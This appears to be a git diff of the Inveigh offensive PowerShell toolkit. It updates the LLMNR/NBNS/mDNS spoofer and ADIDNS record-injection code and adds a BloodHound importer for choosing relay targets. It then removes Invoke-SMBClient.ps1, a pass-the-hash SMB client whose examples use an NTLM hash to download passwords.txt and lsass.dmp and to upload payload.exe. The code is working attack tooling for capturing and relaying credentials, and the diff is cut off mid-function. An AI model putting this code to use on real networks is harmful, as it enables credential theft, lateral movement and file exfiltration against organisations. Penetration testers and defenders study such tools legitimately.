$ADIDNSTTL -Zone $ADIDNSZone + Invoke-ADIDNSCheck -Credential $ADIDNSCredential -Data $SpooferIP -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Forest $ADIDNSForest -Ignore $ADIDNSHostsIgnore -Partition $ADIDNSPartition -RequestTable $inveigh.request_table -Threshold $ADIDNSThreshold -TTL $ADIDNSTTL -Zone $ADIDNSZone } catch { @@ -4681,13 +4694,18 @@ $control_scriptblock = } - OutputQueueLoop + if(!$inveigh.status_output) + { + Invoke-OutputQueueLoop + } + Start-Sleep -m 5 if($inveigh.stop) { $inveigh.console_queue.Clear() Stop-InveighRunspace + Start-Sleep -S 1 } } @@ -4711,9 +4729,8 @@ function HTTPListener $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument( $HTTPBasicRealm).AddArgument($HTTPContentType).AddArgument($HTTPIP).AddArgument($HTTPPort).AddArgument( $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument( - $HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument($HTTPResponse).AddArgument( - $HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument($Proxy).AddArgument( - $ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument( + $HTTPResponse).AddArgument($HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument( + $Proxy).AddArgument($ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument( $WPADAuthIgnore).AddArgument($WPADResponse) > $null $HTTP_powershell.BeginInvoke() > $null } @@ -4734,9 +4751,8 @@ function HTTPSListener $HTTPS_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument( $HTTPBasicRealm).AddArgument($HTTPContentType).AddArgument($HTTPIP).AddArgument($HTTPSPort).AddArgument( $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument( - $HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument($HTTPResponse).AddArgument( - $HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument($Proxy).AddArgument( - $ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument( + $HTTPResponse).AddArgument($HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument( + $Proxy).AddArgument($ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument( $WPADAuthIgnore).AddArgument($WPADResponse) > $null $HTTPS_powershell.BeginInvoke() > $null } @@ -4757,9 +4773,8 @@ function ProxyListener $proxy_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument( $HTTPBasicRealm).AddArgument($HTTPContentType).AddArgument($ProxyIP).AddArgument($ProxyPort).AddArgument( $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument( - $HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument($HTTPResponse).AddArgument( - $HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument($Proxy).AddArgument( - $ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument( + $HTTPResponse).AddArgument($HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument( + $Proxy).AddArgument($ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument( $WPADAuthIgnore).AddArgument($WPADResponse) > $null $proxy_powershell.BeginInvoke() > $null } @@ -4774,13 +4789,14 @@ function SnifferSpoofer $sniffer_powershell.Runspace = $sniffer_runspace $sniffer_powershell.AddScript($shared_basic_functions_scriptblock) > $null $sniffer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($Evade).AddArgument($IP).AddArgument( + $sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($EvadeRG).AddArgument($IP).AddArgument( $LLMNR).AddArgument($LLMNR_response_message).AddArgument($LLMNRTTL).AddArgument($mDNS).AddArgument( $mDNS_response_message).AddArgument($mDNSTypes).AddArgument($mDNSTTL).AddArgument( - $NBNS).AddArgument($NBNS_response_message).AddArgument($NBNSTypes).AddArgument($NBNSTTL).AddArgument( - $SMB).AddArgument($SpooferHostsIgnore).AddArgument($SpooferHostsReply).AddArgument( - $SpooferIP).AddArgument($SpooferIPsIgnore).AddArgument($SpooferIPsReply).AddArgument( - $SpooferLearning).AddArgument($SpooferLearningDelay).AddArgument($SpooferLearningInterval) > $null + $NBNS).AddArgument($NBNS_response_message).AddArgument($NBNSNonprintable).AddArgument( + $NBNSTTL).AddArgument($NBNSTypes).AddArgument($SMB).AddArgument($SpooferHostsIgnore).AddArgument( + $SpooferHostsReply).AddArgument($SpooferIP).AddArgument($SpooferIPsIgnore).AddArgument( + $SpooferIPsReply).AddArgument($SpooferLearning).AddArgument($SpooferLearningDelay).AddArgument( + $SpooferLearningInterval).AddArgument($SpooferThresholdHost).AddArgument($SpooferThresholdNetwork) > $null $sniffer_powershell.BeginInvoke() > $null } @@ -4826,9 +4842,9 @@ function NBNSSpoofer $NBNS_spoofer_powershell.Runspace = $NBNS_spoofer_runspace $NBNS_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null $NBNS_spoofer_powershell.AddScript($NBNS_spoofer_scriptblock).AddArgument($Inspect).AddArgument( - $NBNS_response_message).AddArgument($SpooferIP).AddArgument($NBNSTypes).AddArgument( - $SpooferHostsReply).AddArgument($SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument( - $SpooferIPsIgnore).AddArgument($NBNSTTL) > $null + $IP).AddArgument($NBNS_response_message).AddArgument($NBNSNonprintable).AddArgument($NBNSTTL).AddArgument( + $NBNSTypes).AddArgument($SpooferIP).AddArgument($SpooferHostsIgnore).AddArgument( + $SpooferHostsReply).AddArgument($SpooferIPsIgnore).AddArgument($SpooferIPsReply) > $null $NBNS_spoofer_powershell.BeginInvoke() > $null } @@ -4842,8 +4858,8 @@ function NBNSBruteForceSpoofer $NBNS_bruteforce_spoofer_powershell.Runspace = $NBNS_bruteforce_spoofer_runspace $NBNS_bruteforce_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null $NBNS_bruteforce_spoofer_powershell.AddScript($NBNS_bruteforce_spoofer_scriptblock).AddArgument( - $SpooferIP).AddArgument($NBNSBruteForceHost).AddArgument($NBNSBruteForceTarget).AddArgument( - $NBNSBruteForcePause).AddArgument($NBNSTTL) > $null + $NBNSBruteForceHost).AddArgument($NBNSBruteForcePause).AddArgument($NBNSBruteForceTarget).AddArgument( + $NBNSTTL).AddArgument($SpooferIP) > $null $NBNS_bruteforce_spoofer_powershell.BeginInvoke() > $null } @@ -4857,11 +4873,12 @@ function ControlLoop $control_powershell.Runspace = $control_runspace $control_powershell.AddScript($shared_basic_functions_scriptblock) > $null $control_powershell.AddScript($ADIDNS_functions_scriptblock) > $null - $control_powershell.AddScript($control_scriptblock).AddArgument($ADIDNSCredential).AddArgument( - $ADIDNSDomain).AddArgument($ADIDNSDomainController).AddArgument($ADIDNSHostsIgnore).AddArgument( - $ADIDNSIP).AddArgument($ADIDNSPartition).AddArgument($ADIDNSThreshold).AddArgument( - $ADIDNSTTL).AddArgument($ADIDNSZone).AddArgument($ConsoleQueueLimit).AddArgument( - $NBNSBruteForcePause).AddArgument($RunCount).AddArgument($RunTime) > $null + $control_powershell.AddScript($control_scriptblock).AddArgument($ADIDNSCleanup).AddArgument( + $ADIDNSCredential).AddArgument($ADIDNSDomain).AddArgument($ADIDNSDomainController).AddArgument( + $ADIDNSForest).AddArgument($ADIDNSHostsIgnore).AddArgument($ADIDNSPartition).AddArgument( + $ADIDNSThreshold).AddArgument($ADIDNSTTL).AddArgument($ADIDNSZone).AddArgument( + $ConsoleQueueLimit).AddArgument($NBNSBruteForcePause).AddArgument($RunCount).AddArgument( + $RunTime).AddArgument($SpooferIP) > $null $control_powershell.BeginInvoke() > $null } @@ -4980,7 +4997,6 @@ try } $inveigh.console_queue.RemoveAt(0) - } {$_ -like "* response sent" -or $_ -like "* ignoring *" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy request for *"} @@ -5132,7 +5148,6 @@ try } $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } if($inveigh.console_input) @@ -5180,46 +5195,7 @@ Stop-Inveigh will stop all running Inveigh functions. { $inveigh.console_queue.Clear() Watch-Inveigh -NoConsoleMessage - <# - if($inveigh.relay_running) - { - $output = "[*] [$(Get-Date -format s)] Inveigh Relay is exiting" - - if($inveigh.file_output) - { - $output | Out-File $Inveigh.log_out_file -Append - } - - if($inveigh.log_output) - { - $inveigh.log.Add($output) > $null - } - - Write-Output $output - $inveigh.relay_running = $false - } - - if($inveigh.running) - { - $output = "[*] [$(Get-Date -format s)] Inveigh is exiting" - - if($inveigh.file_output) - { - $output | Out-File $Inveigh.log_out_file -Append - } - - if($inveigh.log_output) - { - $inveigh.log.Add($output) > $null - } - - #Write-Output $output - $inveigh.running = $false - } - - $inveigh.HTTPS = $false - #> - Start-Sleep -S 5 + Start-Sleep -S 2 } else { @@ -5239,10 +5215,10 @@ Get-Inveigh will get stored Inveigh data from memory. .PARAMETER Console Get queued console output. This is also the default if no parameters are set. -.PARAMETER DNS +.PARAMETER ADIDNS Get added DNS host records. -.PARAMETER DNSFailed +.PARAMETER ADIDNSFailed Get failed DNS host record adds. .PARAMETER Learning @@ -5291,8 +5267,8 @@ Get relay session list. [parameter(Mandatory=$false)][Switch]$Cleartext, [parameter(Mandatory=$false)][Switch]$CleartextUnique, [parameter(Mandatory=$false)][Switch]$Console, - [parameter(Mandatory=$false)][Switch]$DNS, - [parameter(Mandatory=$false)][Switch]$DNSFailed, + [parameter(Mandatory=$false)][Switch]$ADIDNS, + [parameter(Mandatory=$false)][Switch]$ADIDNSFailed, [parameter(Mandatory=$false)][Switch]$Learning, [parameter(Mandatory=$false)][Switch]$Log, [parameter(Mandatory=$false)][Switch]$NTLMv1, @@ -5345,30 +5321,30 @@ Get relay session list. } - if($DNS) + if($ADIDNS) { - foreach($DNS_host in $inveigh.DNS_table.Keys) + foreach($ADIDNS_host in $inveigh.ADIDNS_table.Keys) { - if($inveigh.DNS_table.$DNS_host -eq 1) + if($inveigh.ADIDNS_table.$ADIDNS_host -eq 1) { - Write-Output $DNS_host + Write-Output $ADIDNS_host } } } - if($DNSFailed) + if($ADIDNSFailed) { - foreach($DNS_host in $inveigh.DNS_table.Keys) + foreach($ADIDNS_host in $inveigh.ADIDNS_table.Keys) { - if($inveigh.DNS_table.$DNS_host -eq 0) + if($inveigh.ADIDNS_table.$ADIDNS_host -eq 0) { - Write-Output $DNS_host + Write-Output $ADIDNS_host } } @@ -5509,9 +5485,10 @@ if($inveigh.tool -ne 1) if($inveigh.running -or $inveigh.relay_running) { + if(!$NoConsoleMessage) { - Write-Output "[*] Press any key to stop real time console output" + Write-Output "[*] Press any key to stop console output" } $inveigh.console_output = $true @@ -5610,6 +5587,242 @@ if($inveigh) } -#endregion +} + +function ConvertTo-Inveigh +{ + <# + .SYNOPSIS + ConvertTo-Inveigh imports Bloodhound computers, groups and session JSON files into $inveigh.enumerated_data + for Inveigh Relay targeting. + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$BloodHoundComputersJSON, + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$BloodHoundSessionsJSON, + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$BloodHoundGroupsJSON, + [parameter(Mandatory=$false)][Switch]$DNS, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if(!$inveigh) + { + $global:inveigh = [HashTable]::Synchronized(@{}) + $inveigh.cleartext_list = New-Object System.Collections.ArrayList + $inveigh.IP_capture_list = New-Object System.Collections.ArrayList + $inveigh.log = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList + $inveigh.POST_request_list = New-Object System.Collections.ArrayList + $inveigh.valid_host_list = New-Object System.Collections.ArrayList + $inveigh.ADIDNS_table = [HashTable]::Synchronized(@{}) + $inveigh.relay_failed_login_table = [HashTable]::Synchronized(@{}) + $inveigh.relay_history_table = [HashTable]::Synchronized(@{}) + $inveigh.request_table = [HashTable]::Synchronized(@{}) + $inveigh.session_socket_table = [HashTable]::Synchronized(@{}) + $inveigh.session_table = [HashTable]::Synchronized(@{}) + $inveigh.session_message_ID_table = [HashTable]::Synchronized(@{}) + $inveigh.session_lock_table = [HashTable]::Synchronized(@{}) + $inveigh.SMB_session_table = [HashTable]::Synchronized(@{}) + $inveigh.domain_mapping_table = [HashTable]::Synchronized(@{}) + $inveigh.group_table = [HashTable]::Synchronized(@{}) + $inveigh.session_count = 0 + $inveigh.session_list = @() + $inveigh.enumerated_data = @() + } + + function New-RelayEnumObject + { + param ($IP,$Hostname,$Sessions,$AdministratorUsers,$AdministratorGroups,$Privileged,$Shares,$NetSessions,$NetSessionsMapped, + $LocalUsers,$SMB2,$Signing,$SMBServer,$Targeted,$Enumerate,$Execute) + + if($Sessions -and $Sessions -isnot [Array]){$Sessions = @($Sessions)} + if($AdministratorUsers -and $AdministratorUsers -isnot [Array]){$AdministratorUsers = @($AdministratorUsers)} + if($AdministratorGroups -and $AdministratorGroups -isnot [Array]){$AdministratorGroups = @($AdministratorGroups)} + if($Privileged -and $Privileged -isnot [Array]){$Privileged = @($Privileged)} + if($Shares -and $Shares -isnot [Array]){$Shares = @($Shares)} + if($NetSessions -and $NetSessions -isnot [Array]){$NetSessions = @($NetSessions)} + if($NetSessionsMapped -and $NetSessionsMapped -isnot [Array]){$NetSessionsMapped = @($NetSessionsMapped)} + if($LocalUsers -and $LocalUsers -isnot [Array]){$LocalUsers = @($LocalUsers)} + + $relay_object = New-Object PSObject + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Index" $inveigh.enumerated_data.Count + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "IP" $IP + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Hostname" $Hostname + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Sessions" $Sessions + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Administrator Users" $AdministratorUsers + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Administrator Groups" $AdministratorGroups + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Privileged" $Privileged + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Shares" $Shares + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "NetSessions" $NetSessions + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "NetSessions Mapped" $NetSessionsMapped + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Local Users" $LocalUsers + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "SMB2.1" $SMB2 + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Signing" $Signing + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "SMB Server" $SMBServer + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Targeted" $Targeted + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Enumerate" $Enumerate + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Execute" $Execure + + return $relay_object + } + + function Get-DNSEntry([String]$hostname) + { + + try + { + $IP_list = [System.Net.Dns]::GetHostEntry($hostname) + + foreach($entry in $IP_list.AddressList) + { + + if(!$entry.IsIPv6LinkLocal) + { + $IP = $entry.IPAddressToString + } + + } + + } + catch + { + $IP = $null + } + + return $IP + } + + if($BloodHoundComputersJSON) + { + $bloodHound_computers_JSON = Get-Content $BloodHoundComputersJSON + $bloodhound_computers = ConvertFrom-Json -InputObject $bloodhound_computers_JSON + + $bloodhound_computers.Computers | ForEach-Object { + $hostname = $_.Name + [Array]$local_admin_users = $_.LocalAdmins | Where-Object {$_.Type -eq 'User'} | Select-Object -expand Name + [Array]$local_admin_groups = $_.LocalAdmins | Where-Object {$_.Type -eq 'Group'} | Select-Object -expand Name + + if($DNS) + { + $IP = Get-DNSEntry $hostname + + if(!$IP) + { + Write-Output "[-] DNS lookup for $Hostname failed" + } + + } + + if(($hostname -and ($inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname})) -or ($IP -and ($inveigh.enumerated_data | Where-Object {$_.IP -eq $IP}))) + { + + if(!($inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname}) -and ($inveigh.enumerated_data | Where-Object {$_.IP -eq $IP})) + { + $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $IP} | Select-Object -expand Index -First 1 + $inveigh.enumerated_data[$target_index].Hostname = $hostname + } + else + { + $target_index = $inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname} | Select-Object -expand Index -First 1 + } + + $inveigh.enumerated_data[$target_index]."Administrator Users" = $local_admin_users + $inveigh.enumerated_data[$target_index]."Administrator Groups" = $local_admin_groups + } + else + { + $inveigh.enumerated_data += New-RelayEnumObject -Hostname $_.Name -IP $IP -AdministratorUsers $local_admin_users -AdministratorGroups $local_admin_groups + } + + $IP = $null + $hostname = $null + $local_admin_users = $null + $local_admin_groups = $null + $target_index = $null + } + + } + + if($BloodHoundSessionsJSON) + { + $bloodhound_sessions_JSON = Get-Content $BloodHoundSessionsJSON + $bloodhound_sessions = ConvertFrom-Json -InputObject $bloodhound_sessions_JSON + + $bloodhound_sessions.Sessions | ForEach-Object { + $hostname = $_.ComputerName + + if($hostname -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b") + { + $IP = $hostname + $hostname = $null + } + else + { + + if($DNS) + { + $IP = Get-DNSEntry $hostname + + if(!$IP) + { + Write-Output "[-] DNS lookup for $Hostname failed or IPv6 address" + } + + } + + } + + if(($hostname -and ($inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname})) -or ($IP -and ($inveigh.enumerated_data | Where-Object {$_.IP -eq $IP}))) + { + + if($IP) + { + $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $IP} | Select-Object -expand Index -First 1 + } + else + { + $target_index = $inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname} | Select-Object -expand Index -First 1 + } + + [Array]$session_list = $inveigh.enumerated_data[$target_index].Sessions + + if($session_list -notcontains $_.UserName) + { + $session_list += $_.UserName + $inveigh.enumerated_data[$target_index].Sessions = $session_list + } + + } + else + { + $inveigh.enumerated_data += New-RelayEnumObject -Hostname $hostname -IP $IP -Sessions $_.UserName + } + + $hostname = $null + $IP = $null + $session_list = $null + $target_index = $null + } + } + + if($BloodHoundGroupsJSON) + { + $bloodhound_groups_JSON = Get-Content $BloodHoundGroupsJSON + $bloodhound_groups = ConvertFrom-Json -InputObject $bloodhound_groups_JSON + + $bloodhound_groups.Groups | ForEach-Object { + [Array]$group_members = $_.Members | Select-Object -expand MemberName + $inveigh.group_table.Add($_.Name,$group_members) + $group_members = $null + } + + } + +} -}
\ No newline at end of file +#endregion
\ No newline at end of file diff --git a/Invoke-SMBClient.ps1 b/Invoke-SMBClient.ps1 deleted file mode 100644 index afe9a20..0000000 --- a/Invoke-SMBClient.ps1 +++ /dev/null @@ -1,2825 +0,0 @@ -function Invoke-SMBClient -{ -<# -.SYNOPSIS -Invoke-SMBClient performs basic file share tasks with pass the hash. This module supports SMB2 (2.1) only with and -without SMB signing. Note that this client is slow compared to the Windows client. - -.PARAMETER Username -Username to use for authentication. - -.PARAMETER Domain -Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the -username. - -.PARAMETER Hash -NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. - -.Parameter Action -Default = List: (List/Recurse/Delete/Get/Put) Action to perform. -List: Lists the contents of a directory. -Recurse: Lists the contents of a directory and all subdirectories. -Delete: Deletes a file. -Get: Downloads a file. -Put: Uploads a file and sets the creation, access, and last write times to match the source file. - -.PARAMETER Source -List and Recurse: UNC path to a directory. -Delete: UNC path to a file. -Get: UNC path to a file. -Put: File to upload. If a full path is not specified, the file must be in the current directory. When using the -'Modify' switch, 'Source' must be a byte array. - -.PARAMETER Destination -List and Recurse: Not used. -Delete: Not used. -Get: If used, value will be the new filename of downloaded file. If a full path is not specified, the file will be -created in the current directory. -Put: UNC path for uploaded file. The filename must be specified. - -.PARAMETER Modify -List and Recurse: The function will output an object consisting of directory contents. -Delete: Not used. -Get: The function will output a byte array of the downloaded file instead of writing the file to disk. It's -advisable to use this only with smaller files and to send the output to a variable. -Put: Uploads a byte array to a new destination file. - -.PARAMETER NoProgress -List and Recurse: Not used. -Delete: Not used. -Get and Put: Prevents displaying of a progress bar. - -.PARAMETER Sleep -Default = 100 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try increasing this -if downloaded files are being corrupted. - -.PARAMETER Session -Inveigh-Relay authenticated session. - -.EXAMPLE -List the contents of a root share directory. -Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Source \\server\share -verbose - -.EXAMPLE -Recursively list the contents of a share starting at the root. -Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Recurse -Source \\server\share - -.EXAMPLE -Recursively list the contents of a share subdirectory and return only the contents output to a variable. -$directory_contents = Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Recurse -Source \\server\share\subdirectory -Modify - -.EXAMPLE -Delete a file on a share. -Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \\server\share\payload.exe - -.EXAMPLE -Delete a file in subdirectories within a share. -Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \\server\share\subdirectory\subdirectory\payload.exe - -.EXAMPLE -Download a file from a share. -Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\passwords.txt - -.EXAMPLE -Download a file from within a share subdirectory and set a new filename. -Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\subdirectory\lsass.dmp -Destination server_lsass.dmp - -.EXAMPLE -Download a file from a share to a byte array variable instead of disk. -[Byte[]]$password_file = Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\passwords.txt -Modify -[System.Text.Encoding]::UTF8.GetString($password_file) - -.EXAMPLE -Upload a file to a share subdirectory. -Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source payload.exe -Destination \\server\share\subdirectory\payload.exe - -.EXAMPLE -Upload a file to share from a byte array variable. -Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source $file_byte_array -Destination \\server\share\file.docx -Modify - -.EXAMPLE -List the contents of a share directory using an authenticated Inveigh-Relay session. -Invoke-SMBClient -Session 1 -Source \\server\share - -.LINK -https://github.com/Kevin-Robertson/Invoke-TheHash - -#> -[CmdletBinding(DefaultParametersetName='Default')] -param -( - [parameter(Mandatory=$false)][ValidateSet("List","Recurse","Get","Put","Delete")][String]$Action = "List", - [parameter(Mandatory=$false)][String]$Destination, - [parameter(ParameterSetName='Default',Mandatory=$true)][String]$Username, - [parameter(ParameterSetName='Default',Mandatory=$false)][String]$Domain, - [parameter(Mandatory=$true)][Object]$Source, - [parameter(ParameterSetName='Default',Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, - [parameter(Mandatory=$false)][Switch]$Modify, - [parameter(Mandatory=$false)][Switch]$NoProgress, - [parameter(ParameterSetName='Session',Mandatory=$false)][Int]$Session, - [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Logoff, - [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Refresh, - [parameter(Mandatory=$false)][Int]$Sleep=100 -) - -function ConvertFrom-PacketOrderedDictionary -{ - param($ordered_dictionary) - - ForEach($field in $ordered_dictionary.Values) - { - $byte_array += $field - } - - return $byte_array -} - -#NetBIOS - -function New-PacketNetBIOSSessionService -{ - param([Int]$HeaderLength,[Int]$DataLength) - - [Byte[]]$length = ([System.BitConverter]::GetBytes($HeaderLength + $DataLength))[2..0] - - $NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary - $NetBIOSSessionService.Add("MessageType",[Byte[]](0x00)) - $NetBIOSSessionService.Add("Length",$length) - - return $NetBIOSSessionService -} - -#SMB1 - -function New-PacketSMBHeader -{ - param([Byte[]]$Command,[Byte[]]$Flags,[Byte[]]$Flags2,[Byte[]]$TreeID,[Byte[]]$ProcessID,[Byte[]]$UserID) - - $ProcessID = $ProcessID[0,1] - - $SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary - $SMBHeader.Add("Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) - $SMBHeader.Add("Command",$Command) - $SMBHeader.Add("ErrorClass",[Byte[]](0x00)) - $SMBHeader.Add("Reserved",[Byte[]](0x00)) - $SMBHeader.Add("ErrorCode",[Byte[]](0x00,0x00)) - $SMBHeader.Add("Flags",$Flags) - $SMBHeader.Add("Flags2",$Flags2) - $SMBHeader.Add("ProcessIDHigh",[Byte[]](0x00,0x00)) - $SMBHeader.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $SMBHeader.Add("Reserved2",[Byte[]](0x00,0x00)) - $SMBHeader.Add("TreeID",$TreeID) - $SMBHeader.Add("ProcessID",$ProcessID) - $SMBHeader.Add("UserID",$UserID) - $SMBHeader.Add("MultiplexID",[Byte[]](0x00,0x00)) - - return $SMBHeader -} - -function New-PacketSMBNegotiateProtocolRequest -{ - param([String]$Version) - - if($version -eq 'SMB1') - { - [Byte[]]$byte_count = 0x0c,0x00 - } - else - { - [Byte[]]$byte_count = 0x22,0x00 - } - - $SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMBNegotiateProtocolRequest.Add("WordCount",[Byte[]](0x00)) - $SMBNegotiateProtocolRequest.Add("ByteCount",$byte_count) - $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) - $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) - - if($version -ne 'SMB1') - { - $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) - $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) - $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) - $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) - } - - return $SMBNegotiateProtocolRequest -} - -#SMB2 - -function New-PacketSMB2Header -{ - param([Byte[]]$Command,[Byte[]]$CreditRequest,[Bool]$Signing,[Int]$MessageID,[Byte[]]$ProcessID,[Byte[]]$TreeID,[Byte[]]$SessionID) - - if($Signing) - { - $flags = 0x08,0x00,0x00,0x00 - } - else - { - $flags = 0x00,0x00,0x00,0x00 - } - - [Byte[]]$message_ID = [System.BitConverter]::GetBytes($MessageID) - - if($message_ID.Length -eq 4) - { - $message_ID += 0x00,0x00,0x00,0x00 - } - - $SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2Header.Add("ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) - $SMB2Header.Add("StructureSize",[Byte[]](0x40,0x00)) - $SMB2Header.Add("CreditCharge",[Byte[]](0x01,0x00)) - $SMB2Header.Add("ChannelSequence",[Byte[]](0x00,0x00)) - $SMB2Header.Add("Reserved",[Byte[]](0x00,0x00)) - $SMB2Header.Add("Command",$Command) - $SMB2Header.Add("CreditRequest",$CreditRequest) - $SMB2Header.Add("Flags",$flags) - $SMB2Header.Add("NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2Header.Add("MessageID",$message_ID) - $SMB2Header.Add("ProcessID",$ProcessID) - $SMB2Header.Add("TreeID",$TreeID) - $SMB2Header.Add("SessionID",$SessionID) - $SMB2Header.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - - return $SMB2Header -} - -function New-PacketSMB2NegotiateProtocolRequest -{ - $SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2NegotiateProtocolRequest.Add("StructureSize",[Byte[]](0x24,0x00)) - $SMB2NegotiateProtocolRequest.Add("DialectCount",[Byte[]](0x02,0x00)) - $SMB2NegotiateProtocolRequest.Add("SecurityMode",[Byte[]](0x01,0x00)) - 